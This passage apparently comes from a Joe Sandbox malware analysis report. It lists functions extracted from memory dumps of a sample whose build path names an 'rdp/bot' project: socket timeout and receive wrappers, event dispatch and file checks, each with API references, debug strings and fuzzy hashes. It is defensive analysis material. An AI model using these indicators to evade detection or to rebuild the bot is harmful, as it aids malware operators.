Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: f40d194872c8d45ecef68134c9250b96dff7f7ea37d8a0e4c201a4cf96a80767
Instruction ID: 97f05a5cd3ac173e1b26da6bb5bf76497277d6dff0dcd1e54510f32f9f13b267
Opcode Fuzzy Hash: f40d194872c8d45ecef68134c9250b96dff7f7ea37d8a0e4c201a4cf96a80767
Instruction Fuzzy Hash: 4E118E71A0C54296E620AB9DAC404666660EF897D4F105276EF6E837B4DF7CD60E8B04

Function 00007FF8B9152154 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B915217C
setsockopt.WS2_32 ref: 00007FF8B91521A8
WSAGetLastError.WS2_32 ref: 00007FF8B91521BF
WSAGetLastError.WS2_32 ref: 00007FF8B91521E4

Strings

tcp_set_timeo, xrefs: 00007FF8B91521CF, 00007FF8B91521F4
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B91521D6
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B91521FB

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: e3bf17d15134ec2d5b8b500cbb7a150eea8208203bd0f4f35b313d41db0cba31
Instruction ID: 0722d53ca4698f41bb1f32d85a576daa88be57ee0f9b98ea681112667b733d14
Opcode Fuzzy Hash: e3bf17d15134ec2d5b8b500cbb7a150eea8208203bd0f4f35b313d41db0cba31
Instruction Fuzzy Hash: FF116071A086C386F7609F1DA840076AA61EF897D4F604232EB6E937E4DF7CE549DB00

Function 00007FF8B9184CD4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B9184CFC
setsockopt.WS2_32 ref: 00007FF8B9184D28
WSAGetLastError.WS2_32 ref: 00007FF8B9184D3F
WSAGetLastError.WS2_32 ref: 00007FF8B9184D64

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184D56
tcp_set_timeo, xrefs: 00007FF8B9184D4F, 00007FF8B9184D74
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184D7B

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 210327e81317c6c81d8a4d3a67e3bb1bf57ab15882df713e7d46baaea4ccbee5
Instruction ID: d599f8b02d15c097c4edb2ea157ec6280bd39072c889911d061f5213395272f2
Opcode Fuzzy Hash: 210327e81317c6c81d8a4d3a67e3bb1bf57ab15882df713e7d46baaea4ccbee5
Instruction Fuzzy Hash: 8E116371A0858296E3209F2DE840565A660AF987D4F104335EB6D83AE5DF7CD507AB01

Function 00007FF8BFB52294 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB522BC
setsockopt.WS2_32 ref: 00007FF8BFB522E8
WSAGetLastError.WS2_32 ref: 00007FF8BFB522FF
WSAGetLastError.WS2_32 ref: 00007FF8BFB52324

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB52316
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB5233B
tcp_set_timeo, xrefs: 00007FF8BFB5230F, 00007FF8BFB52334

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: bb776e6ec1625de7b5e10f3268d44c0e9dc8f51f6ab7e4191ff7ab127f8cc73c
Instruction ID: 7cf72b812e1feb1f079a4c886e2a667ce9ff092629a9dbf0a4f1cfb7c8caca71
Opcode Fuzzy Hash: bb776e6ec1625de7b5e10f3268d44c0e9dc8f51f6ab7e4191ff7ab127f8cc73c
Instruction Fuzzy Hash: 35118271A0958296F720AB9DE84006AB760FF987D4F504235EB6D83FE4DF7CE5498B00

Function 00007FF8BFB31344 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB3136C
setsockopt.WS2_32 ref: 00007FF8BFB31398
WSAGetLastError.WS2_32 ref: 00007FF8BFB313AF
WSAGetLastError.WS2_32 ref: 00007FF8BFB313D4

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB313C6
tcp_set_timeo, xrefs: 00007FF8BFB313BF, 00007FF8BFB313E4
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB313EB

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 6327c41a263b5bd59de28098a4b2cc79f4f79abb1213812bc069fc7c46f51ebf
Instruction ID: 6dde35d08f81bb366abf318873cf2a8cf3a69c9018cd0a01aed35f663dcad8e1
Opcode Fuzzy Hash: 6327c41a263b5bd59de28098a4b2cc79f4f79abb1213812bc069fc7c46f51ebf
Instruction Fuzzy Hash: B2118F71A4C54796E720AFAEF800469A764FF887D4F104236EB6D83BA8DF7CD5098B00

Function 00007FF8BFB81824 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB8184C
setsockopt.WS2_32 ref: 00007FF8BFB81878
WSAGetLastError.WS2_32 ref: 00007FF8BFB8188F
WSAGetLastError.WS2_32 ref: 00007FF8BFB818B4

Strings

[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB818CB
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB818A6
tcp_set_timeo, xrefs: 00007FF8BFB8189F, 00007FF8BFB818C4

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: a09ac9daefed23991da653184c4f8eb038bf2771e315a903420f93c20336098a
Instruction ID: 7631d90fcac33f23cd3ebdb359f02effd0c428c7ab7b2395ecefb8411b1ac45d
Opcode Fuzzy Hash: a09ac9daefed23991da653184c4f8eb038bf2771e315a903420f93c20336098a
Instruction Fuzzy Hash: 6A113071A1854286E724AFADF8045B5A760FF887D4F108235EB6D837A5DF7CD509CB00

Function 00007FF8BFB36230 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB36262
GetProcessHeap.KERNEL32 ref: 00007FF8BFB3626D
HeapFree.KERNEL32 ref: 00007FF8BFB3627E
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB362A2
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB362C5
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB36332

Strings

[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FF8BFB3631F
routine_tx, xrefs: 00007FF8BFB36318

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: CriticalSection$EnterHeapLeave$FreeProcess
String ID: [D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$routine_tx
API String ID: 2539320189-3555278722
Opcode ID: a997a4d3c2cc867a1520977a3d56c0cbdd638971f55bc1ea485832968568b02c
Instruction ID: 43d79b9ae4c1c0d72b49ce5039e6fd89cca013d3480998f3a41414150c6764d1
Opcode Fuzzy Hash: a997a4d3c2cc867a1520977a3d56c0cbdd638971f55bc1ea485832968568b02c
Instruction Fuzzy Hash: 0C311831A88A4382EB249F99E990639B3A1FB44FC0F188039DB9D43B64CF3CE440C340

Function 00007FF6BE0343A9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,00007FF6BE0382A5), ref: 00007FF6BE0343B2
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF6BE0382A5), ref: 00007FF6BE0343F7

Strings

(path != NULL), xrefs: 00007FF6BE0343D6
fs_path_exists, xrefs: 00007FF6BE0343DD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0343E4
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE0343CF

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-1112464793
Opcode ID: 4c9deac3ad3846ce87ba50fd85f43f8bfee23200bc165dcce4c80e2aa1f1ac2a
Instruction ID: 948a3ff881a8f2a023ae0b88c23490ac705fc43c1ad052e35497abcbcfa2b9a2
Opcode Fuzzy Hash: 4c9deac3ad3846ce87ba50fd85f43f8bfee23200bc165dcce4c80e2aa1f1ac2a
Instruction Fuzzy Hash: AE21C290E0D48782FB70965CA584B7CA161EF78319F245A33F34EDE5E4DE2CECA59202

Function 00007FF8BA4F66C9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF8BA4F66D2
GetLastError.KERNEL32 ref: 00007FF8BA4F6717

Strings

(path != NULL), xrefs: 00007FF8BA4F66F6
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BA4F66EF
fs_path_exists, xrefs: 00007FF8BA4F66FD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F6704

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-1112464793
Opcode ID: 7c20dbad54cca28f09c7073d6860dd97cea1816a0499d71971a91a429b17aa21
Instruction ID: f0527dcbe95aa48de0caaef305bad273a13541f830c6d85b2cf8a9d270ce605f
Opcode Fuzzy Hash: 7c20dbad54cca28f09c7073d6860dd97cea1816a0499d71971a91a429b17aa21
Instruction Fuzzy Hash: D821B750E0C0C382FB30475CA99437CA296AF11399F3465B6DF4E8A1E0DE3EED859606

Function 00007FF8BFB87E69 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF8BFB87E72
GetLastError.KERNEL32 ref: 00007FF8BFB87EB7

Strings

H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB87E8F
fs_path_exists, xrefs: 00007FF8BFB87E9D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB87EA4
(path != NULL), xrefs: 00007FF8BFB87E96

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-1112464793
Opcode ID: 246f99be2f9a7613f0f970f80b26d1d377dd2a132c685df6de0c815cf2380339
Instruction ID: f9da6b9d9c7af8cf84f521e8a18c8c8a8e9b3a49838fd0b9bd05707847679c76
Opcode Fuzzy Hash: 246f99be2f9a7613f0f970f80b26d1d377dd2a132c685df6de0c815cf2380339
Instruction Fuzzy Hash: 7421AF50E0C18382FB6446DDA48437C5388AF8039EF744572E74ECA6D6DE2DEEC6D252

Function 00007FF8BA4F2A1A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BA4F2A42
WSAGetLastError.WS2_32 ref: 00007FF8BA4F2A5C

Strings

[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BA4F2A7D
tcp_recv, xrefs: 00007FF8BA4F2A76, 00007FF8BA4F2A8E, 00007FF8BA4F2AB3
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BA4F2A95
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BA4F2ABA

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 687b881fdd348855cd9be93875ebccf1f6286ced463390f6bf4ec4fd153eb7a4
Instruction ID: 7336100debd541d3922b031fdae6a1d125ee41bd22867362ddc48195d4bd92b0
Opcode Fuzzy Hash: 687b881fdd348855cd9be93875ebccf1f6286ced463390f6bf4ec4fd153eb7a4
Instruction Fuzzy Hash: 88118F60E1C95391F630535CAC812B51240BF427F4F4163B2DF2D962E6DE5DAA469300

Function 00007FF8B918559A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8B91855C2
WSAGetLastError.WS2_32 ref: 00007FF8B91855DC

Strings

[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8B918563A
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B91855FD
tcp_recv, xrefs: 00007FF8B91855F6, 00007FF8B918560E, 00007FF8B9185633
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8B9185615

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 71b248d79f63e3ad16b9781f2f0d4f3c64fd26030b2f447712807f0f8b8b6e07
Instruction ID: 54a49b6cc683f7c40f87477be9d2cc4f61832e5d9d7b78cc60b8f4c376eb720c
Opcode Fuzzy Hash: 71b248d79f63e3ad16b9781f2f0d4f3c64fd26030b2f447712807f0f8b8b6e07
Instruction Fuzzy Hash: 41118251E0C69755F9105F1CA8806B82751AF407F4FA24370DE2D8A5E3FE2CA947B300

Function 00007FF8BFB52B5A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BFB52B82
WSAGetLastError.WS2_32 ref: 00007FF8BFB52B9C

Strings

[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BFB52BD5
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB52BFA
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB52BBD
tcp_recv, xrefs: 00007FF8BFB52BB6, 00007FF8BFB52BCE, 00007FF8BFB52BF3

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: e17e57d39b6d0bf0619066593cd494d760b0a37cd43b7cfbc4e2e11104ea388d
Instruction ID: 8612ae7a319476ee1dd1359d32faf91321d0e089fa5f2a727600c1cc5392ec67
Opcode Fuzzy Hash: e17e57d39b6d0bf0619066593cd494d760b0a37cd43b7cfbc4e2e11104ea388d
Instruction Fuzzy Hash: B6115E58E0E61751FA245BACE8612B873516F457F0F504330DF2D9AEE2DE2CF9568700

Function 00007FF8BFB31C0A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BFB31C32
WSAGetLastError.WS2_32 ref: 00007FF8BFB31C4C

Strings

[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB31C6D
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB31CAA
tcp_recv, xrefs: 00007FF8BFB31C66, 00007FF8BFB31C7E, 00007FF8BFB31CA3
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BFB31C85

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

